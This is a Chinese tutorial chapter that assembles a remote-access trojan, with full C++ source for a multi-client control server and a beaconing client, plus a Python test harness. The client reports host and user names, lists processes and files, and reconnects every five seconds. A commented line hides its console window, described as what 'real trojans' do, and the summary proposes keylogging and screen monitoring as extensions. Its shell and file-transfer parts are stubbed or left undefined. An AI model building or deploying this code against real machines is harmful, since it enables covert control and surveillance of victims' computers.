远程控制开发基础

7、阶段合集

1、课程目标

  1. 整合远程控制系统的全部功能模块
  2. 构建完整的客户端和服务端程序
  3. 实现模块间的协调工作
  4. 掌握远程控制系统的整体架构

2、知识回顾

2.1、远程控制系统架构

┌─────────────────────────────────────────────────────────────────┐
│                        控制端 (Server)                           │
│  ┌─────────────┐  ┌─────────────┐  ┌─────────────┐              │
│  │  网络通信    │  │  命令处理    │  │  用户界面    │              │
│  └─────────────┘  └─────────────┘  └─────────────┘              │
└─────────┬─────────────────┬─────────────────┬───────────────────┘
          │                 │                 │
          ▼                 ▼                 ▼
    ┌─────────┐       ┌─────────┐       ┌─────────┐
    │ Client1 │       │ Client2 │       │ Client3 │
    │ (被控端) │       │ (被控端) │       │ (被控端) │
    └─────────┘       └─────────┘       └─────────┘

2.2、核心功能模块

模块 功能 课时
通信架构 客户端上线、心跳维护 课时01
进程管理 进程枚举、信息获取 课时02
文件系统 文件浏览、信息获取 课时03
文件上传 客户端→服务端文件传输 课时04
文件下载 服务端→客户端文件传输 课时05
远程Shell 命令执行、输出回显 课时06

3、代码实现

1. 完整服务端程序

// server_main.cpp
// 完整远程控制服务端

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <vector>
#include <map>
#include <string>
#include <thread>
#include <mutex>
#include <ctime>

#pragma comment(lib, "ws2_32.lib")

#define MAGIC_NUMBER    0x52415400  // "RAT\0"
#define SERVER_PORT     8888
#define MAX_CLIENTS     100

#pragma pack(push, 1)
typedef struct _MSG_HEADER {
    DWORD magic;
    DWORD cmdType;
    DWORD dataLen;
    DWORD clientId;
} MSG_HEADER, *PMSG_HEADER;

// 命令类型定义
#define CMD_ONLINE      0x0001  // 上线
#define CMD_HEARTBEAT   0x0002  // 心跳
#define CMD_SYSINFO     0x0003  // 系统信息
#define CMD_PROCLIST    0x0004  // 进程列表
#define CMD_FILELIST    0x0005  // 文件列表
#define CMD_DOWNLOAD    0x0006  // 下载文件(客户端→服务端)
#define CMD_UPLOAD      0x0007  // 上传文件(服务端→客户端)
#define CMD_SHELL       0x0008  // Shell命令

// 文件传输相关命令
#define CMD_UPLOAD_REQUEST   0x1001
#define CMD_UPLOAD_START     0x1002
#define CMD_UPLOAD_DATA      0x1003
#define CMD_UPLOAD_ACK       0x1004
#define CMD_UPLOAD_COMPLETE  0x1005
#define CMD_UPLOAD_ERROR     0x1006

#define CMD_DOWNLOAD_REQUEST  0x2001
#define CMD_DOWNLOAD_START    0x2002
#define CMD_DOWNLOAD_DATA     0x2003
#define CMD_DOWNLOAD_ACK      0x2004
#define CMD_DOWNLOAD_COMPLETE 0x2005
#define CMD_DOWNLOAD_ERROR    0x2006

#define CMD_SHELL_EXECUTE    0x3001
#define CMD_SHELL_OUTPUT     0x3002
#define CMD_SHELL_COMPLETE   0x3003
#pragma pack(pop)

// 客户端信息
typedef struct _CLIENT_INFO {
    SOCKET socket;
    DWORD clientId;
    std::string ip;
    DWORD lastHeartbeat;
    bool isAlive;
    std::string computerName;
    std::string userName;
} CLIENT_INFO, *PCLIENT_INFO;

// 全局变量
std::map<DWORD, CLIENT_INFO> g_clients;
std::mutex g_clientMutex;
DWORD g_nextClientId = 1;
bool g_serverRunning = true;

// 前向声明
void HandleClient(SOCKET clientSock, sockaddr_in clientAddr);
bool SendCommand(SOCKET sock, DWORD clientId, DWORD cmdType, const void* data = NULL, DWORD dataLen = 0);
void ListClients();
void HandleCommand(const std::string& cmdLine);

// 发送数据
bool SendData(SOCKET sock, const void* data, int len) {
    int sent = 0;
    while (sent < len) {
        int n = send(sock, (char*)data + sent, len - sent, 0);
        if (n <= 0) return false;
        sent += n;
    }
    return true;
}

// 接收数据
bool RecvData(SOCKET sock, void* data, int len) {
    int received = 0;
    while (received < len) {
        int n = recv(sock, (char*)data + received, len - received, 0);
        if (n <= 0) return false;
        received += n;
    }
    return true;
}

// 发送命令
bool SendCommand(SOCKET sock, DWORD clientId, DWORD cmdType, const void* data, DWORD dataLen) {
    MSG_HEADER header;
    header.magic = MAGIC_NUMBER;
    header.cmdType = cmdType;
    header.dataLen = dataLen;
    header.clientId = clientId;
    
    if (!SendData(sock, &header, sizeof(header))) return false;
    if (dataLen > 0 && data) {
        if (!SendData(sock, data, dataLen)) return false;
    }
    return true;
}

// 处理客户端连接
void HandleClient(SOCKET clientSock, sockaddr_in clientAddr) {
    char clientIp[32];
    inet_ntop(AF_INET, &clientAddr.sin_addr, clientIp, sizeof(clientIp));
    
    printf("[+] New connection from %s:%d\n", clientIp, ntohs(clientAddr.sin_port));
    
    while (g_serverRunning) {
        // 接收消息头
        MSG_HEADER header;
        if (!RecvData(clientSock, &header, sizeof(header))) {
            break;
        }
        
        // 验证魔数
        if (header.magic != MAGIC_NUMBER) {
            printf("[-] Invalid magic number from %s\n", clientIp);
            break;
        }
        
        // 接收数据
        std::vector<char> data(header.dataLen);
        if (header.dataLen > 0) {
            if (!RecvData(clientSock, data.data(), header.dataLen)) {
                break;
            }
        }
        
        // 处理命令
        switch (header.cmdType) {
            case CMD_ONLINE: {
                // 客户端上线
                DWORD clientId = g_nextClientId++;
                
                CLIENT_INFO ci;
                ci.socket = clientSock;
                ci.clientId = clientId;
                ci.ip = clientIp;
                ci.lastHeartbeat = GetTickCount();
                ci.isAlive = true;
                
                if (header.dataLen >= 64 + 64 + 128 + 32 + 4) {
                    ci.computerName = std::string(data.data(), 64);
                    ci.userName = std::string(data.data() + 64, 64);
                    // 可以解析更多系统信息
                }
                
                {
                    std::lock_guard<std::mutex> lock(g_clientMutex);
                    g_clients[clientId] = ci;
                }
                
                printf("[+] Client %lu online: %s@%s\n",
                    clientId, ci.userName.c_str(), ci.computerName.c_str());
                
                // 发送确认
                SendCommand(clientSock, clientId, CMD_ONLINE);
                break;
            }
            
            case CMD_HEARTBEAT: {
                std::lock_guard<std::mutex> lock(g_clientMutex);
                if (g_clients.count(header.clientId)) {
                    g_clients[header.clientId].lastHeartbeat = GetTickCount();
                }
                break;
            }
            
            case CMD_SYSINFO:
            case CMD_PROCLIST:
            case CMD_FILELIST: {
                // 打印接收到的数据
                printf("[Client %lu] Response:\n", header.clientId);
                if (header.dataLen > 0) {
                    data.push_back(0);
                    printf("%s\n", data.data());
                }
                break;
            }
            
            case CMD_SHELL_OUTPUT: {
                // Shell输出处理
                if (header.dataLen >= sizeof(bool)) {
                    bool isError = *(bool*)data.data();
                    const char* output = data.data() + sizeof(bool);
                    DWORD outputLen = header.dataLen - sizeof(bool);
                    
                    if (isError) {
                        printf("\033[31m");  // 红色
                    }
                    
                    fwrite(output, 1, outputLen, stdout);
                    fflush(stdout);
                    
                    if (isError) {
                        printf("\033[0m");   // 重置颜色
                    }
                }
                break;
            }
        }
    }
    
    // 客户端断开
    {
        std::lock_guard<std::mutex> lock(g_clientMutex);
        for (auto& pair : g_clients) {
            if (pair.second.socket == clientSock) {
                printf("[-] Client %lu offline\n", pair.first);
                pair.second.isAlive = false;
                break;
            }
        }
    }
    
    closesocket(clientSock);
}

// 显示客户端列表
void ListClients() {
    std::lock_guard<std::mutex> lock(g_clientMutex);
    
    printf("\n=== Online Clients ===\n");
    printf("%-5s %-20s %-15s %-15s %s\n", 
           "ID", "Computer", "User", "IP", "Status");
    printf("---------------------------------------------------------\n");
    
    for (auto& pair : g_clients) {
        if (pair.second.isAlive) {
            printf("%-5lu %-20s %-15s %-15s %s\n",
                pair.first,
                pair.second.computerName.c_str(),
                pair.second.userName.c_str(),
                pair.second.ip.c_str(),
                "Online");
        }
    }
    printf("\n");
}

// 向客户端发送命令
void SendToClient(DWORD clientId, DWORD cmdType, const char* data = NULL) {
    std::lock_guard<std::mutex> lock(g_clientMutex);
    
    if (g_clients.count(clientId) == 0 || !g_clients[clientId].isAlive) {
        printf("[-] Client %lu not found or offline\n", clientId);
        return;
    }
    
    SOCKET sock = g_clients[clientId].socket;
    DWORD dataLen = data ? (DWORD)strlen(data) : 0;
    
    if (SendCommand(sock, clientId, cmdType, data, dataLen)) {
        printf("[+] Command sent to client %lu\n", clientId);
    } else {
        printf("[-] Failed to send command\n");
    }
}

// 命令行处理
void HandleCommand(const std::string& cmdLine) {
    static DWORD selectedClient = 0;
    
    if (cmdLine.empty()) return;
    
    if (cmdLine == "list") {
        ListClients();
    }
    else if (strncmp(cmdLine.c_str(), "select ", 7) == 0) {
        selectedClient = atoi(cmdLine.c_str() + 7);
        printf("[+] Selected client: %lu\n", selectedClient);
    }
    else if (cmdLine == "sysinfo") {
        SendToClient(selectedClient, CMD_SYSINFO);
    }
    else if (cmdLine == "proclist") {
        SendToClient(selectedClient, CMD_PROCLIST);
    }
    else if (strncmp(cmdLine.c_str(), "filelist ", 9) == 0) {
        SendToClient(selectedClient, CMD_FILELIST, cmdLine.c_str() + 9);
    }
    else if (strncmp(cmdLine.c_str(), "shell ", 6) == 0) {
        SendToClient(selectedClient, CMD_SHELL, cmdLine.c_str() + 6);
    }
    else if (cmdLine == "exit") {
        g_serverRunning = false;
    }
    else {
        printf("Unknown command: %s\n", cmdLine.c_str());
        printf("Available commands: list, select, sysinfo, proclist, filelist, shell, exit\n");
    }
}

// 命令行交互线程
void CommandLoop() {
    printf("\nCommands:\n");
    printf("  list              - List online clients\n");
    printf("  select <id>       - Select client\n");
    printf("  sysinfo           - Get system info\n");
    printf("  proclist          - Get process list\n");
    printf("  filelist <path>   - List directory\n");
    printf("  shell <cmd>       - Execute command\n");
    printf("  exit              - Exit server\n\n");
    
    char cmdLine[1024];
    
    while (g_serverRunning) {
        printf("> ");
        if (!fgets(cmdLine, sizeof(cmdLine), stdin)) {
            break;
        }
        cmdLine[strcspn(cmdLine, "\r\n")] = 0;
        
        HandleCommand(std::string(cmdLine));
    }
}

int main() {
    printf("========================================\n");
    printf("     Remote Control Server              \n");
    printf("========================================\n\n");
    
    // 初始化Winsock
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    
    // 创建监听Socket
    SOCKET listenSock = socket(AF_INET, SOCK_STREAM, 0);
    if (listenSock == INVALID_SOCKET) {
        printf("[-] Failed to create socket\n");
        WSACleanup();
        return 1;
    }
    
    sockaddr_in serverAddr = {0};
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(SERVER_PORT);
    serverAddr.sin_addr.s_addr = INADDR_ANY;
    
    if (bind(listenSock, (sockaddr*)&serverAddr, sizeof(serverAddr)) == SOCKET_ERROR) {
        printf("[-] Bind failed\n");
        closesocket(listenSock);
        WSACleanup();
        return 1;
    }
    
    if (listen(listenSock, MAX_CLIENTS) == SOCKET_ERROR) {
        printf("[-] Listen failed\n");
        closesocket(listenSock);
        WSACleanup();
        return 1;
    }
    
    printf("[+] Server listening on port %d\n", SERVER_PORT);
    
    // 接受连接线程
    std::thread acceptThread([&]() {
        while (g_serverRunning) {
            sockaddr_in clientAddr;
            int addrLen = sizeof(clientAddr);
            
            SOCKET clientSock = accept(listenSock, (sockaddr*)&clientAddr, &addrLen);
            if (clientSock != INVALID_SOCKET) {
                std::thread(HandleClient, clientSock, clientAddr).detach();
            }
        }
    });
    acceptThread.detach();
    
    // 命令行交互
    CommandLoop();
    
    // 清理
    g_serverRunning = false;
    closesocket(listenSock);
    WSACleanup();
    
    printf("[*] Server shutdown\n");
    return 0;
}

2. 完整客户端程序

// client_main.cpp
// 完整远程控制客户端

#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <string>
#include <vector>
#include <thread>
#include <tlhelp32.h>

#pragma comment(lib, "ws2_32.lib")

#define MAGIC_NUMBER    0x52415400
#define SERVER_IP       "127.0.0.1"
#define SERVER_PORT     8888
#define HEARTBEAT_INTERVAL  30000  // 30秒

#pragma pack(push, 1)
typedef struct _MSG_HEADER {
    DWORD magic;
    DWORD cmdType;
    DWORD dataLen;
    DWORD clientId;
} MSG_HEADER;

typedef struct _ONLINE_INFO {
    char computerName[64];
    char userName[64];
    char osVersion[128];
    char ip[32];
    DWORD processId;
} ONLINE_INFO;
#pragma pack(pop)

// 命令类型
#define CMD_ONLINE      0x0001
#define CMD_HEARTBEAT   0x0002
#define CMD_SYSINFO     0x0003
#define CMD_PROCLIST    0x0004
#define CMD_FILELIST    0x0005
#define CMD_DOWNLOAD    0x0006
#define CMD_UPLOAD      0x0007
#define CMD_SHELL       0x0008

#define CMD_SHELL_EXECUTE    0x3001
#define CMD_SHELL_OUTPUT     0x3002
#define CMD_SHELL_COMPLETE   0x3003

SOCKET g_sock = INVALID_SOCKET;
DWORD g_clientId = 0;

// 发送响应
bool SendResponse(DWORD cmdType, const void* data, DWORD dataLen) {
    MSG_HEADER header;
    header.magic = MAGIC_NUMBER;
    header.cmdType = cmdType;
    header.dataLen = dataLen;
    header.clientId = g_clientId;
    
    if (send(g_sock, (char*)&header, sizeof(header), 0) <= 0) return false;
    if (dataLen > 0 && data) {
        if (send(g_sock, (char*)data, dataLen, 0) <= 0) return false;
    }
    return true;
}

// 收集上线信息
void GetOnlineInfo(PONLINE_INFO info) {
    memset(info, 0, sizeof(ONLINE_INFO));
    
    DWORD size = sizeof(info->computerName);
    GetComputerNameA(info->computerName, &size);
    
    size = sizeof(info->userName);
    GetUserNameA(info->userName, &size);
    
    strcpy_s(info->osVersion, "Windows");
    info->processId = GetCurrentProcessId();
}

// 获取系统信息
std::string GetSystemInfo() {
    std::string result;
    char buf[1024];
    
    // 计算机名
    char computerName[64];
    DWORD size = sizeof(computerName);
    GetComputerNameA(computerName, &size);
    sprintf_s(buf, "Computer: %s\n", computerName);
    result += buf;
    
    // 用户名
    char userName[64];
    size = sizeof(userName);
    GetUserNameA(userName, &size);
    sprintf_s(buf, "User: %s\n", userName);
    result += buf;
    
    // 系统信息
    SYSTEM_INFO si;
    GetSystemInfo(&si);
    sprintf_s(buf, "Processors: %lu\n", si.dwNumberOfProcessors);
    result += buf;
    
    // 内存
    MEMORYSTATUSEX ms;
    ms.dwLength = sizeof(ms);
    GlobalMemoryStatusEx(&ms);
    sprintf_s(buf, "Memory: %llu MB\n", ms.ullTotalPhys / 1024 / 1024);
    result += buf;
    
    return result;
}

// 枚举进程
std::string GetProcessList() {
    std::string result;
    char buf[1024];
    
    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapshot == INVALID_HANDLE_VALUE) {
        return "Failed to create snapshot\n";
    }
    
    PROCESSENTRY32 pe = { sizeof(PROCESSENTRY32) };
    
    if (Process32First(hSnapshot, &pe)) {
        sprintf_s(buf, "%-8s %-20s %s\n", "PID", "Name", "Path");
        result += buf;
        sprintf_s(buf, "----------------------------------------\n");
        result += buf;
        
        do {
            sprintf_s(buf, "%-8lu %-20s %s\n",
                pe.th32ProcessID,
                pe.szExeFile,
                "");  // 简化,实际可以获取完整路径
            result += buf;
        } while (Process32Next(hSnapshot, &pe));
    }
    
    CloseHandle(hSnapshot);
    return result;
}

// 枚举文件
std::string GetFileList(const std::string& path) {
    std::string result;
    char buf[1024];
    
    std::string searchPath = path;
    if (searchPath.back() != '\\' && searchPath.back() != '/') {
        searchPath += "\\";
    }
    searchPath += "*";
    
    WIN32_FIND_DATAA findData;
    HANDLE hFind = FindFirstFileA(searchPath.c_str(), &findData);
    
    if (hFind == INVALID_HANDLE_VALUE) {
        return "Failed to list directory\n";
    }
    
    sprintf_s(buf, "%-15s %-10s %s\n", "Attributes", "Size", "Name");
    result += buf;
    sprintf_s(buf, "----------------------------------------\n");
    result += buf;
    
    do {
        if (strcmp(findData.cFileName, ".") == 0 || 
            strcmp(findData.cFileName, "..") == 0) {
            continue;
        }
        
        ULONGLONG size = ((ULONGLONG)findData.nFileSizeHigh << 32) | findData.nFileSizeLow;
        const char* sizeStr = (findData.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) ? 
                             "<DIR>" : std::to_string(size).c_str();
        
        sprintf_s(buf, "%-15lu %-10s %s\n",
            findData.dwFileAttributes,
            sizeStr,
            findData.cFileName);
        result += buf;
    } while (FindNextFileA(hFind, &findData));
    
    FindClose(hFind);
    return result;
}

// 心跳线程
DWORD WINAPI HeartbeatThread(LPVOID param) {
    while (g_sock != INVALID_SOCKET) {
        Sleep(HEARTBEAT_INTERVAL);
        SendResponse(CMD_HEARTBEAT, NULL, 0);
    }
    return 0;
}

// 连接服务器
bool ConnectToServer() {
    g_sock = socket(AF_INET, SOCK_STREAM, 0);
    if (g_sock == INVALID_SOCKET) return false;
    
    sockaddr_in serverAddr = {0};
    serverAddr.sin_family = AF_INET;
    serverAddr.sin_port = htons(SERVER_PORT);
    inet_pton(AF_INET, SERVER_IP, &serverAddr.sin_addr);
    
    if (connect(g_sock, (sockaddr*)&serverAddr, sizeof(serverAddr)) != 0) {
        closesocket(g_sock);
        g_sock = INVALID_SOCKET;
        return false;
    }
    
    return true;
}

// 发送上线包
bool SendOnline() {
    ONLINE_INFO info;
    GetOnlineInfo(&info);
    
    return SendResponse(CMD_ONLINE, &info, sizeof(info));
}

// 处理Shell命令(简化版)
void HandleShellCommand(const std::string& command) {
    // 简化实现,实际应该创建cmd进程并重定向IO
    std::string output = "Command executed: " + command + "\n";
    SendResponse(CMD_SHELL_OUTPUT, output.c_str(), (DWORD)output.length());
}

// 主循环
void MainLoop() {
    // 启动心跳
    CreateThread(NULL, 0, HeartbeatThread, NULL, 0, NULL);
    
    while (true) {
        // 接收命令
        MSG_HEADER header;
        int n = recv(g_sock, (char*)&header, sizeof(header), 0);
        if (n <= 0) break;
        
        if (header.magic != MAGIC_NUMBER) continue;
        
        // 接收数据
        std::vector<char> data(header.dataLen);
        if (header.dataLen > 0) {
            if (recv(g_sock, data.data(), header.dataLen, 0) <= 0) break;
        }
        
        // 处理命令
        switch (header.cmdType) {
            case CMD_ONLINE:
                g_clientId = header.clientId;
                break;
                
            case CMD_SYSINFO: {
                std::string info = GetSystemInfo();
                SendResponse(CMD_SYSINFO, info.c_str(), (DWORD)info.size());
                break;
            }
            
            case CMD_PROCLIST: {
                std::string procs = GetProcessList();
                SendResponse(CMD_PROCLIST, procs.c_str(), (DWORD)procs.size());
                break;
            }
            
            case CMD_FILELIST: {
                std::string path(data.data(), header.dataLen);
                std::string files = GetFileList(path.empty() ? "C:\\" : path);
                SendResponse(CMD_FILELIST, files.c_str(), (DWORD)files.size());
                break;
            }
            
            case CMD_SHELL: {
                std::string cmd(data.data(), header.dataLen);
                HandleShellCommand(cmd);
                break;
            }
        }
    }
}

int main() {
    // 隐藏控制台窗口(实际木马会这样做)
    // ShowWindow(GetConsoleWindow(), SW_HIDE);
    
    WSADATA wsa;
    WSAStartup(MAKEWORD(2, 2), &wsa);
    
    printf("[*] Remote control client starting...\n");
    
    // 持续尝试连接
    while (true) {
        if (ConnectToServer()) {
            printf("[+] Connected to server\n");
            
            if (SendOnline()) {
                printf("[+] Online packet sent\n");
                MainLoop();
            }
            
            closesocket(g_sock);
            g_sock = INVALID_SOCKET;
        }
        
        Sleep(5000);  // 5秒后重连
    }
    
    WSACleanup();
    return 0;
}

3. 系统测试脚本

#!/usr/bin/env python3
# test_system.py
# 远程控制系统测试脚本

import socket
import threading
import time
import struct

MAGIC_NUMBER = 0x52415400
SERVER_PORT = 8888

class TestClient:
    def __init__(self, client_id):
        self.client_id = client_id
        self.sock = None
        
    def connect(self):
        try:
            self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.sock.connect(('127.0.0.1', SERVER_PORT))
            print(f"[Client {self.client_id}] Connected to server")
            return True
        except Exception as e:
            print(f"[Client {self.client_id}] Connection failed: {e}")
            return False
    
    def send_online(self):
        # 构造上线包
        header = struct.pack('IIII', MAGIC_NUMBER, 1, 256, 0)  # CMD_ONLINE
        online_info = b'A' * 256  # 简化的上线信息
        
        try:
            self.sock.send(header + online_info)
            print(f"[Client {self.client_id}] Sent online packet")
            
            # 接收确认
            response = self.sock.recv(16)
            if len(response) >= 16:
                magic, cmd, data_len, client_id = struct.unpack('IIII', response)
                if magic == MAGIC_NUMBER and cmd == 1:  # CMD_ONLINE
                    self.client_id = client_id
                    print(f"[Client {self.client_id}] Online confirmed")
                    return True
        except Exception as e:
            print(f"[Client {self.client_id}] Online failed: {e}")
        
        return False
    
    def send_heartbeat(self):
        header = struct.pack('IIII', MAGIC_NUMBER, 2, 0, self.client_id)  # CMD_HEARTBEAT
        try:
            self.sock.send(header)
            print(f"[Client {self.client_id}] Heartbeat sent")
        except Exception as e:
            print(f"[Client {self.client_id}] Heartbeat failed: {e}")
    
    def simulate_activity(self):
        # 模拟心跳
        for i in range(10):
            self.send_heartbeat()
            time.sleep(3)
        
        # 断开连接
        self.sock.close()
        print(f"[Client {self.client_id}] Disconnected")

def test_multiple_clients():
    print("=== Testing Multiple Clients ===")
    
    clients = []
    threads = []
    
    # 创建5个客户端
    for i in range(5):
        client = TestClient(i + 1)
        if client.connect() and client.send_online():
            clients.append(client)
            
            # 在单独线程中运行
            thread = threading.Thread(target=client.simulate_activity)
            threads.append(thread)
            thread.start()
            
            time.sleep(1)  # 间隔1秒连接
    
    # 等待所有线程完成
    for thread in threads:
        thread.join()
    
    print("[*] Multi-client test completed")

def test_commands():
    print("=== Testing Commands ===")
    # 这里可以添加更多命令测试
    print("[*] Command test completed")

if __name__ == "__main__":
    print("========================================")
    print("     Remote Control System Test         ")
    print("========================================")
    
    # 测试多客户端连接
    test_multiple_clients()
    
    # 测试命令执行
    test_commands()
    
    print("[*] All tests completed")

4、章节总结

本章完成了远程控制系统的核心功能实现:

  1. 通信基础:建立了稳定的客户端-服务端通信机制
  2. 信息收集:实现了系统信息、进程列表、文件列表的获取
  3. 文件传输:支持双向文件传输(上传和下载)
  4. 远程执行:实现了远程Shell命令执行和输出回显

4.1、系统特点

  • 模块化设计:各功能模块独立,易于扩展和维护
  • 稳定通信:采用TCP协议保证数据传输可靠性
  • 实时响应:支持命令实时执行和结果回传
  • 多客户端:支持同时管理多个被控端

4.2、可扩展方向

  1. 安全性增强:添加加密通信和身份认证
  2. 功能扩展:屏幕监控、键盘记录、文件管理等
  3. 性能优化:并发处理、资源管理优化
  4. 用户体验:图形界面、命令历史、自动补全等

5、课后作业

5.1、作业1:添加加密通信

为通信协议添加AES加密功能。

5.2、作业2:实现图形界面

使用Qt或MFC开发图形化的控制端界面。

5.3、作业3:添加插件系统

设计插件架构,支持功能模块的动态加载。